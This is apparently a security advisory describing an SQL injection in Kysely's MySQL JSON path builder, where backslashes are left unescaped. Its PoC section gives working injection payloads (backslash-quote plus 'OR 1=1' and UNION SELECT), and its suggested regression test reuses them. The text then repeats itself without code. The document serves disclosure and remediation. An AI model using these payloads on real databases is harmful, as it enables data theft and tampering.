Summary
The sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (' → '') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL.
Details
When a user calls .key(value) on a JSON path builder, the value flows through:
-
JSONPathBuilder.key(key) at src/query-builder/json-path-builder.ts:166 stores the key as a JSONPathLegNode with type 'Member'.
-
During compilation, DefaultQueryCompiler.visitJSONPath() at src/query-compiler/default-query-compiler.ts:1609 wraps the full path in single quotes ('$...').
-
DefaultQueryCompiler.visitJSONPathLeg() at src/query-compiler/default-query-compiler.ts:1623 calls sanitizeStringLiteral(node.value) for string values (line 1630).
-
sanitizeStringLiteral() at src/query-compiler/default-query-compiler.ts:1819-1821 only doubles single quotes:
// src/query-compiler/default-query-compiler.ts:121
const LIT_WRAP_REGEX = /'/g
// src/query-compiler/default-query-compiler.ts:1819-1821
protected sanitizeStringLiteral(value: string): string {
return value.replace(LIT_WRAP_REGEX, "''")
}
The MysqlQueryCompiler does not override sanitizeStringLiteral — it only overrides sanitizeIdentifier for backtick escaping.
The bypass mechanism:
In MySQL's default BACKSLASH_ESCAPES mode, \' inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input \' OR 1=1 --:
sanitizeStringLiteral sees the ' and doubles it: \'' OR 1=1 --
- The full compiled path becomes:
'$.\'' OR 1=1 --'
- MySQL parses
\' as an escaped quote character (consuming the first ' of the doubled pair)
- The second
' now terminates the string literal
OR 1=1 -- is parsed as SQL, achieving injection
The existing test at test/node/src/sql-injection.test.ts:61-83 only tests single-quote injection (first' as ...), which the '' doubling correctly prevents. It does not test the backslash bypass vector.
PoC
import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'
const db = new Kysely({
dialect: new MysqlDialect({
pool: createPool({
host: 'localhost',
user: 'root',
password: 'password',
database: 'testdb',
}),
}),
})
// Setup: create a table with JSON data
await sql`CREATE TABLE IF NOT EXISTS users (
id INT PRIMARY KEY AUTO_INCREMENT,
data JSON
)`.execute(db)
await sql`INSERT INTO users (data) VALUES ('{"role":"admin","secret":"s3cret"}')`.execute(db)
// Attack: backslash escape bypass in .key()
// An application that passes user input to .key():
const userInput = "\\' OR 1=1) UNION SELECT data FROM users -- " // as never
const query = db
.selectFrom('users')
.select((eb) =>
eb.ref('data', '->$').key(userInput as never).as('result')
)
console.log(query.compile().sql)
// Produces: select `data`->'$.\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users`
// MySQL interprets \' as escaped quote, breaking out of the string literal
const results = await query.execute()
console.log(results) // Returns injected query results
Simplified verification of the bypass mechanics:
const { Kysely, MysqlDialect } = require('kysely')
// Even without executing, the compiled SQL demonstrates the vulnerability:
const compiled = db
.selectFrom('users')
.select((eb) =>
eb.ref('data', '->$').key("\\' OR 1=1 --" as never).as('x')
)
.compile()
console.log(compiled.sql)
// select `data`->'$.\'' OR 1=1 --' as `x` from `users`
// ^^ MySQL sees this as escaped quote
// ^ This quote now terminates the string
// ^^^^^^^^^^^ Injected SQL
Note: PostgreSQL is unaffected because standard_conforming_strings=on (default since 9.1) disables backslash escape interpretation. SQLite does not interpret backslash escapes in string literals. Only MySQL (and MariaDB) with the default BACKSLASH_ESCAPES mode are vulnerable.
Impact
- SQL Injection: An attacker who can control values passed to the
.key() JSON path builder API can inject arbitrary SQL into queries executed against MySQL databases.
- Data Exfiltration: Using UNION-based injection, an attacker can read arbitrary data from any table accessible to the database user.
- Data Modification/Deletion: If the application's database user has write permissions, stacked queries (when enabled via
multipleStatements: true) or subquery-based injection can modify or delete data.
- Full Database Compromise: Depending on MySQL user privileges, the attacker could potentially execute administrative operations.
- Scope: Any application using Kysely with MySQL that passes user-controlled input to
.key(), .at(), or other JSON path builder methods. While this is a specific API usage pattern (justifying AC:H), it is realistic in applications with dynamic JSON schema access or user-configurable JSON field selection.
Recommended Fix
Escape backslashes in addition to single quotes in sanitizeStringLiteral. This neutralizes the bypass in MySQL's BACKSLASH_ESCAPES mode:
// src/query-compiler/default-query-compiler.ts
// Change the regex to also match backslashes:
const LIT_WRAP_REGEX = /['\\]/g
// Update sanitizeStringLiteral:
protected sanitizeStringLiteral(value: string): string {
return value.replace(LIT_WRAP_REGEX, (match) => match === '\\' ? '\\\\' : "''")
}
With this fix, the input \' OR 1=1 -- becomes \\'' OR 1=1 --, where MySQL parses \\ as a literal backslash, '' as an escaped quote, and the string literal is never terminated.
Alternatively, the MySQL-specific compiler could override sanitizeStringLiteral to handle backslash escaping only for MySQL, keeping the base implementation unchanged for PostgreSQL and SQLite which don't need it:
// src/dialect/mysql/mysql-query-compiler.ts
protected override sanitizeStringLiteral(value: string): string {
return value.replace(/['\\]/g, (match) => match === '\\' ? '\\\\' : "''")
}
A corresponding test should be added to test/node/src/sql-injection.test.ts:
it('should not allow SQL injection via backslash escape in $.key JSON paths', async () => {
const injection = `\\' OR 1=1 -- ` as never
const query = ctx.db
.selectFrom('person')
.select((eb) => eb.ref('first_name', '->$').key(injection).as('x'))
await ctx.db.executeQuery(query)
await assertDidNotDropTable(ctx, 'person')
})
References
Summary
The
sanitizeStringLiteralmethod in Kysely's query compiler escapes single quotes ('→'') but does not escape backslashes. On MySQL with the defaultBACKSLASH_ESCAPESSQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL.Details
When a user calls
.key(value)on a JSON path builder, the value flows through:JSONPathBuilder.key(key)atsrc/query-builder/json-path-builder.ts:166stores the key as aJSONPathLegNodewith type'Member'.During compilation,
DefaultQueryCompiler.visitJSONPath()atsrc/query-compiler/default-query-compiler.ts:1609wraps the full path in single quotes ('$...').DefaultQueryCompiler.visitJSONPathLeg()atsrc/query-compiler/default-query-compiler.ts:1623callssanitizeStringLiteral(node.value)for string values (line 1630).sanitizeStringLiteral()atsrc/query-compiler/default-query-compiler.ts:1819-1821only doubles single quotes:The
MysqlQueryCompilerdoes not overridesanitizeStringLiteral— it only overridessanitizeIdentifierfor backtick escaping.The bypass mechanism:
In MySQL's default
BACKSLASH_ESCAPESmode,\'inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input\' OR 1=1 --:sanitizeStringLiteralsees the'and doubles it:\'' OR 1=1 --'$.\'' OR 1=1 --'\'as an escaped quote character (consuming the first'of the doubled pair)'now terminates the string literalOR 1=1 --is parsed as SQL, achieving injectionThe existing test at
test/node/src/sql-injection.test.ts:61-83only tests single-quote injection (first' as ...), which the''doubling correctly prevents. It does not test the backslash bypass vector.PoC
Simplified verification of the bypass mechanics:
Note: PostgreSQL is unaffected because
standard_conforming_strings=on(default since 9.1) disables backslash escape interpretation. SQLite does not interpret backslash escapes in string literals. Only MySQL (and MariaDB) with the defaultBACKSLASH_ESCAPESmode are vulnerable.Impact
.key()JSON path builder API can inject arbitrary SQL into queries executed against MySQL databases.multipleStatements: true) or subquery-based injection can modify or delete data..key(),.at(), or other JSON path builder methods. While this is a specific API usage pattern (justifying AC:H), it is realistic in applications with dynamic JSON schema access or user-configurable JSON field selection.Recommended Fix
Escape backslashes in addition to single quotes in
sanitizeStringLiteral. This neutralizes the bypass in MySQL'sBACKSLASH_ESCAPESmode:With this fix, the input
\' OR 1=1 --becomes\\'' OR 1=1 --, where MySQL parses\\as a literal backslash,''as an escaped quote, and the string literal is never terminated.Alternatively, the MySQL-specific compiler could override
sanitizeStringLiteralto handle backslash escaping only for MySQL, keeping the base implementation unchanged for PostgreSQL and SQLite which don't need it:A corresponding test should be added to
test/node/src/sql-injection.test.ts:References